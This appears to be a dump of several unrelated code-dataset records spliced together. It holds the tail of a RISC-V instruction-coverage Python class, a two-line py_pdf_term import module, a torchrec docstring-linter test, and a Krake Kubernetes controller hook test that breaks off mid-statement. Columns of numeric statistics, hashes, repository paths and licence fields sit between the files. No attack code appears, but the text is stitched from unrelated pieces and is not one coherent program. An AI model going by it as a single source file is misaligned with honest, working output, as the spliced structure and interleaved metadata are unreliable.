self.rem_cg_i = self.rem_cg() self.remu_cg_i = self.remu_cg() self.c_lw_cg_i = self.c_lw_cg() self.c_lwsp_cg_i = self.c_lwsp_cg() self.c_sw_cg_i = self.c_sw_cg() self.c_swsp_cg_i = self.c_swsp_cg() self.c_addi4spn_cg_i = self.c_addi4spn_cg() self.c_addi_cg_i = self.c_addi_cg() self.c_addi16sp_cg_i = self.c_addi16sp_cg() self.c_li_cg_i = self.c_li_cg() self.c_lui_cg_i = self.c_lui_cg() self.c_sub_cg_i = self.c_sub_cg() self.c_add_cg_i = self.c_add_cg() self.c_mv_cg_i = self.c_mv_cg() self.c_andi_cg_i = self.c_andi_cg() self.c_xor_cg_i = self.c_xor_cg() self.c_or_cg_i = self.c_or_cg() self.c_and_cg_i = self.c_and_cg() self.c_beqz_cg_i = self.c_beqz_cg() self.c_bnez_cg_i = self.c_bnez_cg() self.c_srli_cg_i = self.c_srli_cg() self.c_srai_cg_i = self.c_srai_cg() self.c_slli_cg_i = self.c_slli_cg() self.c_j_cg_i = self.c_j_cg() self.c_jal_cg_i = self.c_jal_cg() self.c_jr_cg_i = self.c_jr_cg() self.c_jalr_cg_i = self.c_jalr_cg() self.hint_cg_i = self.hint_cg() self.illegal_compressed_instr_cg_i = self.illegal_compressed_instr_cg() self.flw_cg_i = self.flw_cg(1, 0) self.fld_cg_i = self.fld_cg(0) self.fsw_cg_i = self.fsw_cg(1) self.fsw_cg_i = self.fsw_cg(0) self.fadd_s_cg_i = self.fadd_s_cg(1) self.fadd_d_cg_i = self.fadd_d_cg(0) self.fsub_s_cg_i = self.fsub_s_cg(1) self.fsub_d_cg_i = self.fsub_d_cg(0) self.fmul_s_cg_i = self.fmul_s_cg(1) self.fmul_d_cg_i = self.fmul_d_cg(0) self.fdiv_s_cg_i = self.fdiv_s_cg(1) self.fdiv_d_cg_i = self.fdiv_d_cg(0) self.fsqrt_s_cg_i = self.fsqrt_s_cg(1) self.fsqrt_d_cg_i = self.fsqrt_d_cg(0) self.fmin_s_cg_i = self.fmin_s_cg(1) self.fmin_d_cg_i = self.fmin_d_cg(0) self.fmax_s_cg_i = self.fmax_s_cg(1) self.fmax_d_cg_i = self.fmax_d_cg(0) self.fmadd_s_cg_i = self.fmadd_s_cg(1) self.fmadd_d_cg_i = self.fmadd_d_cg(0) self.fnmadd_s_cg_i = self.fnmadd_s_cg(1) self.fnmadd_d_cg_i = self.fnmadd_d_cg(0) self.fmsub_s_cg_i = self.fmsub_s_cg(1) self.fmsub_d_cg_i = self.fmsub_d_cg(0) self.fnmsub_s_cg_i = self.fnmsub_s_cg(1) self.fnmsub_d_cg_i = self.fnmsub_d_cg(0) self.fcvt_s_d_cg_i = self.fcvt_s_d_cg() self.fcvt_d_s_cg_i = self.fcvt_d_s_cg() self.fcvt_w_s_cg_i = self.fcvt_w_s_cg(1,'sign') self.fcvt_wu_s_cg_i = self.fcvt_wu_s_cg(1,'unsign') self.fcvt_l_s_cg_i = self.fcvt_l_s_cg(1,'sign') self.fcvt_lu_s_cg_i = self.fcvt_lu_s_cg(1,'unsign') self.fcvt_l_d_cg_i = self.fcvt_l_d_cg(0,'sign') self.fcvt_lu_d_cg_i = self.fcvt_lu_d_cg(0,'unsign') self.fcvt_w_d_cg_i = self.fcvt_w_d_cg(0,'sign') self.fcvt_wu_d_cg_i = self.fcvt_wu_d_cg(0,'unsign') self.fcvt_s_w_cg_i = self.fcvt_s_w_cg(1,'sign') self.fcvt_s_wu_cg_i = self.fcvt_s_wu_cg(1,'unsign') self.fcvt_s_l_cg_i = self.fcvt_s_l_cg(1,'sign') self.fcvt_d_l_cg_i = self.fcvt_d_l_cg(1,'sign') self.fcvt_s_lu_cg_i = self.fcvt_s_lu_cg(1,'unsign') self.fcvt_d_w_cg_i = self.fcvt_d_w_cg(0,'sign') self.fcvt_d_lu_cg_i = self.fcvt_d_lu_cg(0,'unsign') self.fcvt_d_wu_cg_i = self.fcvt_d_wu_cg(0,'unsign') self.fsgnj_s_cg_i = self.fsgnj_s_cg(1) self.fsgnj_d_cg_i = self.fsgnj_d_cg(0) self.fsgnjn_s_cg_i = self.fsgnjn_s_cg(1) self.fsgnjn_d_cg_i = self.fsgnjn_d_cg(0) self.fsgnjx_s_cg_i = self.fsgnjx_s_cg(1) self.fsgnjx_d_cg_i = self.fsgnjx_d_cg(0) self.fmv_x_w_cg_i = self.fmv_x_w_cg(1) self.fmv_x_d_cg_i = self.fmv_x_d_cg(0) self.fmv_w_x_cg_i = self.fmv_w_x_cg(1) self.fmv_d_x_cg_i = self.fmv_d_x_cg(0) self.feq_s_cg_i = self.feq_s_cg(1) self.feq_d_cg_i = self.feq_d_cg(0) self.flt_s_cg_i = self.flt_s_cg(1) self.flt_d_cg_i = self.flt_d_cg(0) self.fle_s_cg_i = self.fle_s_cg(1) self.fle_d_cg_i = self.fle_d_cg(0) self.fclass_s_cg_i = self.fclass_s_cg(1) self.fclass_d_cg_i = self.fclass_d_cg(0) self.mulw_cg_i = self.mulw_cg() self.divw_cg_i = self.divw_cg() self.divuw_cg_i = self.divuw_cg() self.remw_cg_i = self.remw_cg() self.remuw_cg_i = self.remuw_cg() self.c_addiw_cg_i = self.c_addiw_cg() self.c_subw_cg_i = self.c_subw_cg() self.c_addw_cg_i = self.c_addw_cg() self.c_ld_cg_i = self.c_ld_cg() self.c_sd_cg_i = self.c_sd_cg() self.c_ldsp_cg_i = self.c_ldsp_cg() self.c_sdsp_cg_i = self.c_sdsp_cg() self.lwu_cg_i = self.lwu_cg() self.ld_cg_i = self.ld_cg() self.sd_cg_i = self.sd_cg() self.addiw_cg_i = self.addiw_cg() self.slliw_cg_i = self.slliw_cg() self.srliw_cg_i = self.srliw_cg() self.sraiw_cg_i = self.sraiw_cg() self.addw_cg_i = self.addw_cg() self.subw_cg_i = self.subw_cg() self.sllw_cg_i = self.sllw_cg() self.srlw_cg_i = self.srlw_cg() self.sraw_cg_i = self.sraw_cg() def sample(self, instr): self.instr_cnt += 1 if self.instr_cnt > 1: instr.check_hazard_condition(self.pre_instr) # TODO: sampling for compressed_instr_cg if ((instr.binary[1:0] != 3) and (riscv_instr_group_t.RV32C in rcs.supported_isa)): # self.compressed_opcode_cg_i.instr = instr # self.compressed_opcode_cg_i.sample() self.hint_cg_i.instr = instr self.hint_cg_i.sample() self.illegal_compressed_instr_cg_i.instr = instr self.illegal_compressed_instr_cg_i.sample() if instr.binary[1:0] == 3: self.opcode_cg_i.instr = instr self.opcode_cg_i.sample() try: setattr(eval("self." + instr.instr.name.lower() + "_cg_i"), 'instr', instr) eval("self." + instr.instr.name.lower() + "_cg_i" + ".sample()") except Exception: logging.info("Covergroup for instr {} is not supported yet".format( instr.instr.name)) # Trace the error if there is an Exception logging.info("Traceback error log: {}".format(traceback.format_exc())) if instr.group.name == "RV32I": self.rv32i_misc_cg_i.instr = instr self.rv32i_misc_cg_i.sample() if instr.category.name == "CSR": # MEPC if instr.csr == 833: self.mepc_alignment_cg_i.instr = instr self.mepc_alignment_cg_i.sample() self.pre_instr = instr def reset(self): self.instr_cnt = 0 self.branch_instr_cnt = 0 self.branch_hit_history.set_val(0)
73.037183
118
0.377706
53,053
593,208
3.838972
0.008878
0.057505
0.135455
0.161488
0.968591
0.962635
0.959734
0.959356
0.958781
0.958649
0
0.023084
0.547375
593,208
8,121
119
73.046177
0.735457
0.019759
0
0.931514
0
0
0.012177
0.001361
0
0
0
0.000493
0
1
0.024044
false
0
0.00027
0
0.047954
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
a754fef96aac8ecd76fdc2f4637a350b4c29073b
86
py
Python
py_pdf_term/methods/rankers.py
kumachan-mis/pdf-slides-term
cf3319e4de723bd9424d23141803342d3c649103
[ "MIT" ]
1
2021-01-08T16:05:30.000Z
2021-01-08T16:05:30.000Z
py_pdf_term/methods/rankers.py
kumachan-mis/py-slides-term
1e9337b97ae8968950489e728fc7aeeeb7eb1f4b
[ "MIT" ]
21
2021-01-03T13:50:59.000Z
2021-06-17T00:27:49.000Z
py_pdf_term/methods/rankers.py
kumachan-mis/pdf-slides-term
cf3319e4de723bd9424d23141803342d3c649103
[ "MIT" ]
null
null
null
from ._methods.rankers import * # NoQA from ._methods.rankers import __all__ # NoQA
28.666667
45
0.755814
11
86
5.363636
0.545455
0.372881
0.610169
0.813559
0
0
0
0
0
0
0
0
0.162791
86
2
46
43
0.819444
0.104651
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
a75700059e53860879480ec7efaf639e20166d50
8,327
py
Python
torchrec/linter/tests/test_module_linter.py
jasonjk-park/torchrec
f393af3c4c59123d16a1b271dae154833782f3fa
[ "BSD-3-Clause" ]
null
null
null
torchrec/linter/tests/test_module_linter.py
jasonjk-park/torchrec
f393af3c4c59123d16a1b271dae154833782f3fa
[ "BSD-3-Clause" ]
null
null
null
torchrec/linter/tests/test_module_linter.py
jasonjk-park/torchrec
f393af3c4c59123d16a1b271dae154833782f3fa
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. import unittest from unittest.mock import patch import hypothesis.strategies as st from hypothesis import given from torchrec.linter import module_linter def populate_parent_class_list( class_src: str, uses_LazyModuleExtensionMixin: bool, ) -> str: if uses_LazyModuleExtensionMixin: parent_class_list = "LazyModuleExtensionMixin, torch.nn.Module" else: parent_class_list = "torch.nn.Module" return class_src.replace("${parent_class_list}", parent_class_list) class DocStringLinterTest(unittest.TestCase): def test_docstring_empty(self) -> None: src = "" with patch("builtins.print") as p, patch( "torchrec.linter.module_linter.read_file", return_value=src ): module_linter.linter_one_file("a") self.assertEqual(p.call_count, 0) def test_docstring_no_modules(self) -> None: src = """ class A: pass """ with patch("builtins.print") as p, patch( "torchrec.linter.module_linter.read_file", return_value=src ): module_linter.linter_one_file("a") self.assertEqual(p.call_count, 0) # pyre-ignore[56]: Pyre was not able to infer the type of argument # `hypothesis.strategies.booleans()` to decorator factory `hypothesis.given`. @given(uses_LazyModuleExtensionMixin=st.booleans()) def test_docstring_no_docstring(self, uses_LazyModuleExtensionMixin: bool) -> None: src = """ class F(${parent_class_list}): def __init__(self): pass """ src = populate_parent_class_list(src, uses_LazyModuleExtensionMixin) with patch("builtins.print") as p, patch( "torchrec.linter.module_linter.read_file", return_value=src ): module_linter.linter_one_file("a") self.assertEqual(p.call_count, 1) self.assertTrue( "No docstring found in a TorchRec module" in p.call_args_list[0][0][0] ) # pyre-ignore[56]: Pyre was not able to infer the type of argument # `hypothesis.strategies.booleans()` to decorator factory `hypothesis.given`. @given(uses_LazyModuleExtensionMixin=st.booleans()) def test_docstring_no_module_init( self, uses_LazyModuleExtensionMixin: bool ) -> None: src = """ class F(${parent_class_list}): \""" \""" def forward(self, net, z): pass """ src = populate_parent_class_list(src, uses_LazyModuleExtensionMixin) with patch("builtins.print") as p, patch( "torchrec.linter.module_linter.read_file", return_value=src ): module_linter.linter_one_file("a") self.assertEqual(p.call_count, 3) self.assertTrue( "No runnable example in a TorchRec module" in p.call_args_list[0][0][0] ) self.assertTrue( "Missing required keywords from TorchRec module" in p.call_args_list[1][0][0] ) self.assertTrue( "Missing docstring for forward function" in p.call_args_list[2][0][0] ) # pyre-ignore[56]: Pyre was not able to infer the type of argument # `hypothesis.strategies.booleans()` to decorator factory `hypothesis.given`. @given(uses_LazyModuleExtensionMixin=st.booleans()) def test_missing_args(self, uses_LazyModuleExtensionMixin: bool) -> None: src = """ class F(${parent_class_list}): \""" \""" def __init__(self, x, y='a', *arg, k='k'): pass def forward(self, net, z): pass """ src = populate_parent_class_list(src, uses_LazyModuleExtensionMixin) with patch("builtins.print") as p, patch( "torchrec.linter.module_linter.read_file", return_value=src ): module_linter.linter_one_file("a") self.assertEqual(p.call_count, 4) self.assertTrue( "No runnable example in a TorchRec module" in p.call_args_list[0][0][0] ) self.assertTrue( "Missing required keywords from TorchRec module" in p.call_args_list[1][0][0] ) self.assertTrue("Missing docstring descriptions" in p.call_args_list[2][0][0]) self.assertTrue("['x']" in p.call_args_list[2][0][0]) self.assertTrue("['y', 'k']" in p.call_args_list[2][0][0]) self.assertTrue( "Missing docstring for forward function" in p.call_args_list[3][0][0] ) # pyre-ignore[56]: Pyre was not able to infer the type of argument # `hypothesis.strategies.booleans()` to decorator factory `hypothesis.given`. @given(uses_LazyModuleExtensionMixin=st.booleans()) def test_valid_module(self, uses_LazyModuleExtensionMixin: bool) -> None: src = """ class F(${parent_class_list}): \""" Blah. Args: x: Blah y: Blah. Default: "a" Example:: pass \""" def __init__(self, x, y='a'): pass def forward(self, z): \""" Call Args: z: Blah Returns: None \""" pass """ src = populate_parent_class_list(src, uses_LazyModuleExtensionMixin) with patch("builtins.print") as p, patch( "torchrec.linter.module_linter.read_file", return_value=src ): module_linter.linter_one_file("a") self.assertEqual(p.call_count, 0) # pyre-ignore[56]: Pyre was not able to infer the type of argument # `hypothesis.strategies.booleans()` to decorator factory `hypothesis.given`. @given(uses_LazyModuleExtensionMixin=st.booleans()) def test_num_ctor_args(self, uses_LazyModuleExtensionMixin: bool) -> None: # Case 1: TorchRec module has less than 5 ctor args -> pass src = """ class F(${parent_class_list}): \""" Blah. Args: x: Blah y: Blah. Default: "a" Example:: pass \""" def __init__(self, x, y='a'): pass def forward(self, z): \""" Call Args: z: Blah Returns: None \""" pass """ src = populate_parent_class_list(src, uses_LazyModuleExtensionMixin) with patch("builtins.print") as p, patch( "torchrec.linter.module_linter.read_file", return_value=src ): module_linter.linter_one_file("a") self.assertEqual(p.call_count, 0) # Case 2: TorchRec module has more than 5 ctor args -> print error src = """ class F(${parent_class_list}): \""" Blah. Args: a: Blah b: Blah c: Blah d: Blah e: Blah f: Blah. Default: "f". Example:: pass \""" def __init__(self, a, b, c, d, e, f='f'): pass def forward(self, z): \""" Call Args: z: Blah Returns: None \""" pass """ src = populate_parent_class_list(src, uses_LazyModuleExtensionMixin) with patch("builtins.print") as pa, patch( "torchrec.linter.module_linter.read_file", return_value=src ): module_linter.linter_one_file("a") self.assertEqual(pa.call_count, 1) self.assertTrue( "TorchRec module has too many constructor arguments" in pa.call_args_list[0][0][0] ) # Case 3: not a TorchRec module -> pass src = """ class F: \""" Blah. Args: a: Blah b: Blah c: Blah d: Blah e: Blah f: Blah. Default: "f". Example:: pass \""" def __init__(self, x, y='a'): pass def forward(self, z): \""" Call Args: z: Blah Returns: None \""" pass """ with patch("builtins.print") as p, patch( "torchrec.linter.module_linter.read_file", return_value=src ): module_linter.linter_one_file("a") self.assertEqual(p.call_count, 0) if __name__ == "__main__": unittest.main()
28.131757
87
0.593611
997
8,327
4.759278
0.141424
0.048051
0.053741
0.023182
0.799157
0.790938
0.777028
0.777028
0.77176
0.77176
0
0.009834
0.291702
8,327
295
88
28.227119
0.794676
0.130899
0
0.769565
0
0
0.258105
0.072042
0
0
0
0
0.086957
1
0.034783
false
0.073913
0.021739
0
0.065217
0.03913
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
7
a766812e9e6f68ec08efb1314be23944b69d8bb9
49,316
py
Python
krake/tests/controller/kubernetes/test_hook.py
rak-n-rok/Krake
2f0d4a382b99639e2c1149ee8593a9bb589d2d3f
[ "Apache-2.0" ]
1
2020-05-29T08:43:32.000Z
2020-05-29T08:43:32.000Z
krake/tests/controller/kubernetes/test_hook.py
rak-n-rok/Krake
2f0d4a382b99639e2c1149ee8593a9bb589d2d3f
[ "Apache-2.0" ]
null
null
null
krake/tests/controller/kubernetes/test_hook.py
rak-n-rok/Krake
2f0d4a382b99639e2c1149ee8593a9bb589d2d3f
[ "Apache-2.0" ]
1
2019-11-19T13:39:02.000Z
2019-11-19T13:39:02.000Z
import json import os.path import ssl import tempfile import yaml from copy import deepcopy import aiohttp import pytest from aiohttp import web, ClientResponseError from aiohttp.test_utils import TestServer as Server from krake.data.config import TlsClientConfiguration, TlsServerConfiguration from krake.api.app import create_app from krake.controller import create_ssl_context from krake.data.core import resource_ref from krake.data.kubernetes import Application, ApplicationState, ApplicationComplete from krake.controller.kubernetes import KubernetesController from krake.client import Client from krake.test_utils import server_endpoint, get_first_container from tests.factories.kubernetes import ( ApplicationFactory, ClusterFactory, make_kubeconfig, ) from yarl import URL from tests.controller.kubernetes import ( deployment_manifest, custom_deployment_observer_schema, deployment_response, ) async def test_complete_hook(aiohttp_server, config, db, loop, hooks_config): """Verify that the Controller mangled the received Application to add elements of the "complete" hook if it had been enabled. Conditions: * TLS: disabled * RBAC: disabled * extras: only check the content of k8s resources generated by the "complete" hook. Expectations: Environment variables are added to the Deployment in the manifest file of the deployed Application. """ routes = web.RouteTableDef() deploy_mangled_response = deepcopy(deployment_response) # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a Deployment named `nginx-demo` already exists. @routes.get("/apis/apps/v1/namespaces/secondary/deployments/nginx-demo") async def _(request): return web.Response(status=404) # As part of the reconciliation loop, the k8s controller creates the deployment. We # augment the standard API Response with the additional "env" dictionary that # contains the TOKEN and the URL @routes.post("/apis/apps/v1/namespaces/secondary/deployments") async def _(request): nonlocal deploy_mangled_response rd = await request.read() app = json.loads(rd) app_first_container = get_first_container(app) resp_first_container = get_first_container(deploy_mangled_response) resp_first_container["env"] = app_first_container["env"] return web.json_response(deploy_mangled_response) kubernetes_app = web.Application() kubernetes_app.add_routes(routes) kubernetes_server = await aiohttp_server(kubernetes_app) cluster = ClusterFactory(spec__kubeconfig=make_kubeconfig(kubernetes_server)) # We only consider the first resource in the manifest file, that is a Deployment. # This Deployment should be modified by the "complete" hook with ENV vars. app = ApplicationFactory( status__state=ApplicationState.PENDING, status__scheduled_to=resource_ref(cluster), status__is_scheduled=False, spec__hooks=["complete"], spec__manifest=[deployment_manifest], spec__observer_schema=[custom_deployment_observer_schema], ) await db.put(cluster) await db.put(app) api_server = await aiohttp_server(create_app(config)) async with Client(url=server_endpoint(api_server), loop=loop) as client: # Create the controller and configure the hooks controller = KubernetesController( server_endpoint(api_server), worker_count=0, hooks=hooks_config ) await controller.prepare(client) # The application is received by the Controller, which starts the reconciliation # loop, creates the application and updates the DB accordingly await controller.resource_received(app) stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) # TLS is disabled, so no additional resource has been generated assert len(stored.status.last_observed_manifest) == 1 # Mangled `env` dictionary should be observed for observer_schema in stored.status.mangled_observer_schema: if observer_schema["kind"] != "Deployment": continue for container in observer_schema["spec"]["template"]["spec"]["containers"][:-1]: assert container["env"] == [ {"name": None, "value": None}, {"name": None, "value": None}, { "observer_schema_list_min_length": 2, "observer_schema_list_max_length": 2, }, ] # Mangled `env` dictionary should be present in last_applied_manifest and # last_observed_manifest for resource in stored.status.last_applied_manifest: if resource["kind"] != "Deployment": continue for container in resource["spec"]["template"]["spec"]["containers"]: assert "KRAKE_TOKEN" in [env["name"] for env in container["env"]] assert "KRAKE_COMPLETE_URL" in [env["name"] for env in container["env"]] for resource in stored.status.last_observed_manifest: if resource["kind"] != "Deployment": continue # Loop over observed containers, but exclude special control list for container in resource["spec"]["template"]["spec"]["containers"][:-1]: assert "KRAKE_TOKEN" in [env["name"] for env in container["env"][:-1]] assert "KRAKE_COMPLETE_URL" in [ env["name"] for env in container["env"][:-1] ] # Check special control dictionary assert len(container["env"]) == 3 assert container["env"][-1] == {"observer_schema_list_current_length": 2} assert stored.status.state == ApplicationState.RUNNING assert stored.metadata.finalizers[-1] == "kubernetes_resources_deletion" async def test_complete_hook_disable_by_user( aiohttp_server, config, db, loop, hooks_config ): """Verify that the Controller did not mangle the received Application to add elements of the "complete" hook if it had not been enabled. Conditions: * TLS: disabled * RBAC: disabled * extras: complete hook not set by the user Expectations: No resource is added in the app's manifest. """ routes = web.RouteTableDef() # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a Deployment named `nginx-demo` already exists. @routes.get("/apis/apps/v1/namespaces/secondary/deployments/nginx-demo") async def _(request): # No `nginx-demo` Deployment exist return web.Response(status=404) # As part of the reconciliation loop, the k8s controller creates the `nginx-demo` # Deployment @routes.post("/apis/apps/v1/namespaces/secondary/deployments") async def _(request): # As a response, the k8s API provides the full Deployment object return web.json_response(deployment_response) kubernetes_app = web.Application() kubernetes_app.add_routes(routes) kubernetes_server = await aiohttp_server(kubernetes_app) cluster = ClusterFactory(spec__kubeconfig=make_kubeconfig(kubernetes_server)) # We only consider the first resource in the manifest file, that is a Deployment. # This Deployment should be modified by the "complete" hook with ENV vars. # # When received by the k8s controller, the application is in PENDING state and # scheduled to a cluster. It contains a manifest and a custom observer_schema. app = ApplicationFactory( status__state=ApplicationState.PENDING, status__scheduled_to=resource_ref(cluster), status__is_scheduled=False, spec__manifest=[deployment_manifest], spec__observer_schema=[custom_deployment_observer_schema], ) await db.put(cluster) await db.put(app) api_server = await aiohttp_server(create_app(config)) async with Client(url=server_endpoint(api_server), loop=loop) as client: # Create the controller and configure the hooks controller = KubernetesController( server_endpoint(api_server), worker_count=0, hooks=hooks_config ) await controller.prepare(client) # The resource is received by the controller, which starts the reconciliation # loop, and updates the application in the DB accordingly. await controller.resource_received(app) stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) assert len(stored.status.last_observed_manifest) == 1 for resource in stored.status.last_observed_manifest: if resource["kind"] != "Deployment": continue for container in resource["spec"]["template"]["spec"]["containers"]: assert "env" not in container assert stored.status.state == ApplicationState.RUNNING assert stored.metadata.finalizers[-1] == "kubernetes_resources_deletion" async def test_complete_hook_tls( aiohttp_server, config, pki, db, loop, client_ssl_context, hooks_config ): """Verify that the Controller mangled the received Application to add elements of the "complete" hook if it had been enabled when the communication with TLS was enabled. Conditions: * TLS: enabled * RBAC: disabled * extras: only check the content of k8s resources generated by the "complete" hook. Expectations: A ConfigMap is added in the manifest file, as well as its mounting point in the Deployment of the ConfigMap. """ routes = web.RouteTableDef() deploy_mangled_response = deepcopy(deployment_response) configmap_resource = {} server_cert = pki.gencert("api-server") ssl_context = client_ssl_context("client") config.tls = TlsServerConfiguration( enabled=True, client_ca=pki.ca.cert, cert=server_cert.cert, key=server_cert.key ) # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a ConfigMap named `ca.pem` already exists. @routes.get("/api/v1/namespaces/secondary/configmaps/ca.pem") async def _(request): return web.Response(status=404) # As part of the reconciliation loop, the k8s controller created the `ca.pem` # ConfigMap @routes.post("/api/v1/namespaces/secondary/configmaps") async def _(request): nonlocal configmap_resource rd = await request.read() configmap_resource = json.loads(rd) resp = yaml.safe_load( """ apiVersion: v1 data: CONFIGMAP_DATA kind: ConfigMap metadata: annotations: {} creationTimestamp: "2020-07-21T13:57:03Z" managedFields: [] name: CONFIGMAP_NAME namespace: secondary resourceVersion: "5073306" selfLink: /api/v1/namespaces/default/configmaps/name uid: e851306b-4581-48f3-808d-1d18c9038309 """ ) resp["metadata"]["name"] = configmap_resource["metadata"]["name"] resp["data"] = configmap_resource["data"] return web.json_response(resp) # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a Deployment named `nginx-demo` already exists. @routes.get("/apis/apps/v1/namespaces/secondary/deployments/nginx-demo") async def _(request): return web.Response(status=404) # As part of the reconciliation loop, the k8s controller created the `nginx-demo` # Deployment @routes.post("/apis/apps/v1/namespaces/secondary/deployments") async def _(request): nonlocal deploy_mangled_response rd = await request.read() app = json.loads(rd) app_first_container = get_first_container(app) resp_first_container = get_first_container(deploy_mangled_response) resp_first_container["env"] = app_first_container["env"] resp_first_container["volumeMounts"] = app_first_container["volumeMounts"] deploy_mangled_response["spec"]["template"]["spec"]["volumes"] = app["spec"][ "template" ]["spec"]["volumes"] return web.json_response(deploy_mangled_response) kubernetes_app = web.Application() kubernetes_app.add_routes(routes) kubernetes_server = await aiohttp_server(kubernetes_app) cluster = ClusterFactory(spec__kubeconfig=make_kubeconfig(kubernetes_server)) # We only consider the first resource in the manifest file, that is a Deployment. # This Deployment should be modified by the "complete" hook with ENV vars. app = ApplicationFactory( status__state=ApplicationState.PENDING, status__scheduled_to=resource_ref(cluster), status__is_scheduled=False, spec__hooks=["complete"], spec__manifest=[deployment_manifest], spec__observer_schema=[custom_deployment_observer_schema], ) await db.put(cluster) await db.put(app) server_app = create_app(config) api_server = Server(server_app) await api_server.start_server(ssl=server_app["ssl_context"]) assert api_server.scheme == "https" async with Client( url=server_endpoint(api_server), loop=loop, ssl_context=ssl_context ) as client: controller = KubernetesController( server_endpoint(api_server), worker_count=0, ssl_context=ssl_context, hooks=hooks_config, ) await controller.prepare(client) # The resource is received by the controller, which starts the reconciliation # loop, mangles the manifest file, creates the Deployment and the ConfigMap, and # updates the DB accordingly await controller.resource_received(app, start_observer=False) stored = await db.get( Application, namespace=app.metadata.namespace, name=app.metadata.name ) expected_config_map_observer_schema = yaml.safe_load( f""" apiVersion: v1 data: ca-bundle.pem: null cert.pem: null key.pem: null kind: ConfigMap metadata: name: {configmap_resource["metadata"]["name"]} namespace: secondary """ ) # The last_applied_manifest, last_observed_manifest, and observer_schema, should # contain the Deployment and the ConfigMap assert len(stored.status.mangled_observer_schema) == 2 assert len(stored.status.last_applied_manifest) == 2 assert len(stored.status.last_observed_manifest) == 2 containers = stored.status.mangled_observer_schema[0]["spec"]["template"]["spec"][ "containers" ] # The `env` and `volumeMounts` sub-resources should be observed assert stored.status.mangled_observer_schema[0]["kind"] == "Deployment" for container in containers[:-1]: assert "volumeMounts" in container assert container["env"] == [ {"name": None, "value": None}, {"name": None, "value": None}, { "observer_schema_list_min_length": 2, "observer_schema_list_max_length": 2, }, ] containers = stored.status.last_applied_manifest[0]["spec"]["template"]["spec"][ "containers" ] # The last_applied_manifest and last_observed_manifest should contain the mangled # sub-resources `volumeMounts` and `env` assert stored.status.last_applied_manifest[0]["kind"] == "Deployment" for container in containers: assert "volumeMounts" in container assert "KRAKE_TOKEN" in [env["name"] for env in container["env"]] assert "KRAKE_COMPLETE_URL" in [env["name"] for env in container["env"]] assert stored.status.last_observed_manifest[0]["kind"] == "Deployment" assert ( stored.status.last_observed_manifest[0]["metadata"]["namespace"] == "secondary" ) for container in stored.status.last_observed_manifest[0]["spec"]["template"][ "spec" ]["containers"][:-1]: assert "volumeMounts" in container assert "KRAKE_TOKEN" in [env["name"] for env in container["env"][:-1]] assert "KRAKE_COMPLETE_URL" in [env["name"] for env in container["env"][:-1]] assert len(container["env"]) == 3 assert container["env"][-1] == {"observer_schema_list_current_length": 2} # The last_applied_manifest and last_observed_manifest should contain the mangled # resource ConfigMap assert stored.status.last_applied_manifest[1]["kind"] == "ConfigMap" assert ( stored.status.last_observed_manifest[0]["metadata"]["namespace"] == "secondary" ) assert stored.status.last_applied_manifest[1] == configmap_resource # There are no list in the ConfigMap resource, therefore there are no special # control dictionary added. In this specific case, it is equal to the ConfigMap # resource assert stored.status.last_observed_manifest[1]["kind"] == "ConfigMap" assert stored.status.last_observed_manifest[1] == configmap_resource # The mangled resource ConfigMap should be observed assert stored.status.mangled_observer_schema[1]["kind"] == "ConfigMap" assert ( stored.status.mangled_observer_schema[1] == expected_config_map_observer_schema ) assert stored.status.state == ApplicationState.RUNNING assert stored.metadata.finalizers[-1] == "kubernetes_resources_deletion" async def test_complete_hook_default_namespace( aiohttp_server, config, db, loop, hooks_config ): """Verify that the Controller mangled the received Application to add elements of the "complete" hook if it had been enabled, even if the resources have been created without any namespace. Conditions: * TLS: disabled * RBAC: disabled * extras: no Kubernetes namespace is specified in the manifest file provided to create the Application. Check the content of k8s resources generated by the "complete" hook. Expectations: The Kubernetes resources are created, and they do not have any namespace added to them. """ deployment_created = False deploy_mangled_response = deepcopy(deployment_response) routes = web.RouteTableDef() # As part of the reconciliation loop started by ``controller.resource_received``, # the k8s controller checks if a Deployment named `nginx-demo` already exists. @routes.get("/apis/apps/v1/namespaces/default/deployments/nginx-demo") async def _(request): # No `nginx-demo` Deployment exist return web.Response(status=404) # As part of the reconciliation loop, the k8s controller creates the `nginx-demo` # Deployment @routes.post("/apis/apps/v1/namespaces/default/deployments") async def _(request): nonlocal deployment_created, deploy_mangled_response deployment_created = True rd = await request.read() app = json.loads(rd) app_first_container = get_first_container(app) resp_first_container = get_first_container(deploy_mangled_response) resp_first_container["env"] = app_first_container["env"] return web.json_response(deploy_mangled_response) kubernetes_app = web.Application() kubernetes_app.add_routes(routes) kubernetes_server = await aiohttp_server(kubernetes_app) cluster = ClusterFactory(spec__kubeconfig=make_kubeconfig(kubernetes_server)) # We only consider the first resource in the manifest file, that is a Deployment. # This Deployment should be modified by the "complete" hook with ENV vars. copy_deployment_manifest = deepcopy(deployment_manifest) # Create a manifest with resources without any namespace. del copy_deployment_manifest["metadata"]["namespace"] # When received by the k8s controller, the application is in PENDING state and # scheduled to a cluster. It contains a manifest and a custom observer_schema. app = ApplicationFactory( status__state=ApplicationState.PENDING, status__scheduled_to=resource_ref(cluster), status__is_scheduled=False, spec__hooks=["complete"], spec__manifest=[copy_deployment_manifest], spec__observer_schema=[custom_deployment_observer_schema], ) await db.put(cluster) await db.put(app) api_server = await aiohttp_server(create_app(config)) async with Client(url=server_endpoint(api_server), loop=loop) as client: controller = KubernetesController( server_endpoint(api_server), worker_count=0, hooks=hooks_config ) await controller.prepare(client) await controller.resource_received(app) assert deployment_created stored = await db.get( Application, 